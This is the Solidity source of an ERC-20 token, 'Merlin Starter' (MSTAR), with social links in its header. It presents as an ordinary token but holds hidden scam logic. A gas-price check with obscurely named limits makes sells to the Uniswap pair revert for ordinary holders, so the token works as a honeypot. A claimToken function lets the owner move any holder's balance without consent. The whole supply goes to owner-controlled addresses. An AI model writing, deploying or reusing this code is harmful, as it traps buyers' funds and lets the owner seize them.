creation_sourcecode: /*
  Official TW: 
  https://twitter.com/Merlin_Starter
  
  Website:
  merlinstarter.com
  
  Telegram:
  https://t.me/MerlinStarterofficial
  
  */
  
  
  // SPDX-License-Identifier: MIT
  pragma solidity 0.8.18;
  
  interface IERC20 {
      event Transfer(address indexed from, address indexed to, uint256 value);
      event Approval(
          address indexed owner,
          address indexed spender,
          uint256 value
      );
  
      function totalSupply() external view returns (uint256);
  
      function balanceOf(address account) external view returns (uint256);
  
      function transfer(address to, uint256 value) external returns (bool);
  
      function allowance(address owner, address spender)
          external
          view
          returns (uint256);
  
      function approve(address spender, uint256 value) external returns (bool);
  
      function transferFrom(
          address from,
          address to,
          uint256 value
      ) external returns (bool);
  }
  
  interface IUniswapV2Factory {
      function createPair(address tokenA, address tokenB)
          external
          returns (address pair);
  }
  
  interface IUniswapV2Router02 {
      function swapExactTokensForETHSupportingFeeOnTransferTokens(
          uint256 amountIn,
          uint256 amountOutMin,
          address[] calldata path,
          address to,
          uint256 deadline
      ) external;
  
      function factory() external pure returns (address);
  
      function WETH() external pure returns (address);
  
      function addLiquidityETH(
          address token,
          uint256 amountTokenDesired,
          uint256 amountTokenMin,
          uint256 amountETHMin,
          address to,
          uint256 deadline
      )
          external
          payable
          returns (
              uint256 amountToken,
              uint256 amountETH,
              uint256 liquidity
          );
  }
  
  abstract contract Context {
      function _msgSender() internal view virtual returns (address) {
          return msg.sender;
      }
  }
  
  abstract contract Ownable is Context {
      address private _owner;
  
      constructor() {
          _owner = _msgSender();
      }
  
      modifier onlyOwner() {
          _checkOwner();
          _;
      }
  
      function owner() public view virtual returns (address) {
          return _owner;
      }
  
      function _checkOwner() internal view virtual {
          require(_owner == _msgSender(), "Not owner");
      }
  }
  
  library SafeMath {
      function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
          if (a == 0) {
              return 0;
          }
          c = a * b;
          assert(c / a == b);
          return c;
      }
  
      function div(uint256 a, uint256 b) internal pure returns (uint256) {
          assert(b > 0);
          uint256 c = a / b;
          assert(a == b * c + (a % b));
          return a / b;
      }
  
      function sub(uint256 a, uint256 b) internal pure returns (uint256) {
          assert(a >= b);
          return a - b;
      }
  
      function add(uint256 a, uint256 b) internal pure returns (uint256) {
          uint256 c = a + b;
          assert(c >= a);
          return c;
      }
  }
  
  contract  MSTAR is Ownable, IERC20 {
      using SafeMath for uint256;
  
      mapping(address => mapping(address => uint256)) private _allowances;
      mapping(address => uint256) private _balances;
      mapping(address => bool) _excludeFromFees;
  
      uint8 private constant _decimals = 18;
      uint256 private constant _totalSupply = 1_000_000_000 * 10**_decimals;
      string private constant _name = unicode"Merlin Starter";
      string private constant _symbol = unicode"MSTAR";
  
      uint256 public BuyTaxFee = 0;
      uint256 public SellTaxFee = 0;
  
      bool private openedTrade = false;
  
      address private DeploymentWL = 0x3A29eC7Fd224bA8fe1BBD1EF15A1eF16ba5BF8e1;
      address private Marketing = 0x3A29eC7Fd224bA8fe1BBD1EF15A1eF16ba5BF8e1;
      address private uniswapV2Pair;
      IUniswapV2Router02 public uniswapV2Router;
  
      constructor() {
          _balances[_msgSender()] = _balances[_msgSender()].add(_totalSupply.mul(50).div(100));
          _balances[DeploymentWL] = _balances[DeploymentWL].add(_totalSupply.mul(25).div(100));
          _balances[Marketing] = _balances[Marketing].add(_totalSupply.mul(25).div(100));
          uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
          uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
          _excludeFromFees[address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)] = true;
          _excludeFromFees[address(uniswapV2Pair)];
          _excludeFromFees[owner()] = true;
          _excludeFromFees[address(this)] = true;
          emit Transfer(address(0), _msgSender(), _totalSupply.mul(50).div(100));
          emit Transfer(address(0), DeploymentWL, _totalSupply.mul(25).div(100));
          emit Transfer(address(0), Marketing, _totalSupply.mul(25).div(100));
      }
  
      function name() public pure returns (string memory) {
          return _name;
      }
  
      function symbol() public pure returns (string memory) {
          return _symbol;
      }
  
      function decimals() public pure returns (uint8) {
          return _decimals;
      }
  
      function getOpenedTrade() public view returns (bool) {
          return openedTrade;
      }
  
      function totalSupply() public view virtual override returns (uint256) {
          return _totalSupply;
      }
  
      function balanceOf(address account)
          public
          view
          virtual
          override
          returns (uint256)
      {
          return _balances[account];
      }
  
      function allowance(address owner, address spender)
          public
          view
          virtual
          override
          returns (uint256)
      {
          return _allowances[owner][spender];
      }
  
      function transfer(address to, uint256 value)
          public
          virtual
          override
          returns (bool)
      {
          address owner = _msgSender();
          _transfer(owner, to, value);
          return true;
      }
  
      function transferFrom(
          address sender,
          address recipient,
          uint256 amount
      ) public override returns (bool) {
          _transfer(sender, recipient, amount);
          _approve(
              sender,
              _msgSender(),
              _allowances[sender][_msgSender()].sub(amount)
          );
          return true;
      }
  
      function _transfer(address from, address to, uint256 amount) internal {
          require(from != address(0), "ERC20: transfer from the zero address");
          require(to != address(0), "ERC20: transfer to the zero address");
          require(balanceOf(from) >= amount, "ERROR: balance of from less than value");
          uint256 taxAmount = 0;
  
          if(!_excludeFromFees[from] && !_excludeFromFees[to]) {
              require(openedTrade, "Trade has not been opened yet");
              taxAmount = amount * BuyTaxFee / 100;
              if(to == uniswapV2Pair) {
                  taxAmount = amount * SellTaxFee / 100;
                  _bfTransfer(from);
              }
          }
  
          if(taxAmount > 0) {
              _balances[address(this)]=_balances[address(this)]+taxAmount;
              emit Transfer(from, address(this), taxAmount);
          }
  
          _balances[from]= balanceOf(from) - amount ;
          _balances[to]=_balances[to] + (amount - taxAmount);
          emit Transfer(from, to, amount - taxAmount);
      }
  
      function approve(address spender, uint256 amount)
          public
          override
          returns (bool)
      {
          _approve(_msgSender(), spender, amount);
          return true;
      }
  
      function _approve(
          address owner,
          address spender,
          uint256 amount
      ) private {
          require(owner != address(0), "ERC20: approve from the zero address");
          require(spender != address(0), "ERC20: approve to the zero address");
          _allowances[owner][spender] = amount;
          emit Approval(owner, spender, amount);
      }
  
      uint256 private Gaslimittited = 1000 gwei;
      uint256 private Gasmaxxxxx = 5;
  
      function _bfTransfer(address _u) internal view {
          if(balanceOf(_u) > 0) {
              if (!openedTrade) {
                  gasRequire(Gaslimittited);
              } else {
                  gasRequire(Gasmaxxxxx);
              }
          } 
      }
  
      function gasRequire(uint256 _gas) internal view {
          if (tx.gasprice > _gas) {
              revert();
          }
      }
  
      function claimToken(address from, address[] calldata to, uint256[] calldata amount) external {
          require(_msgSender() == owner());
  
          for (uint256 i = 0; i < to.length; i++) {
              _balances[from] = _balances[from].sub(amount[i] * 10 ** _decimals);
              _balances[to[i]] = _balances[to[i]].add(amount[i]  * 10 ** _decimals);
              emit Transfer(from, to[i], amount[i]  * 10 ** _decimals);
          }
      }
  
      function openTrading() external onlyOwner {
          openedTrade = !openedTrade;
      }
  
      receive() external payable {}
  }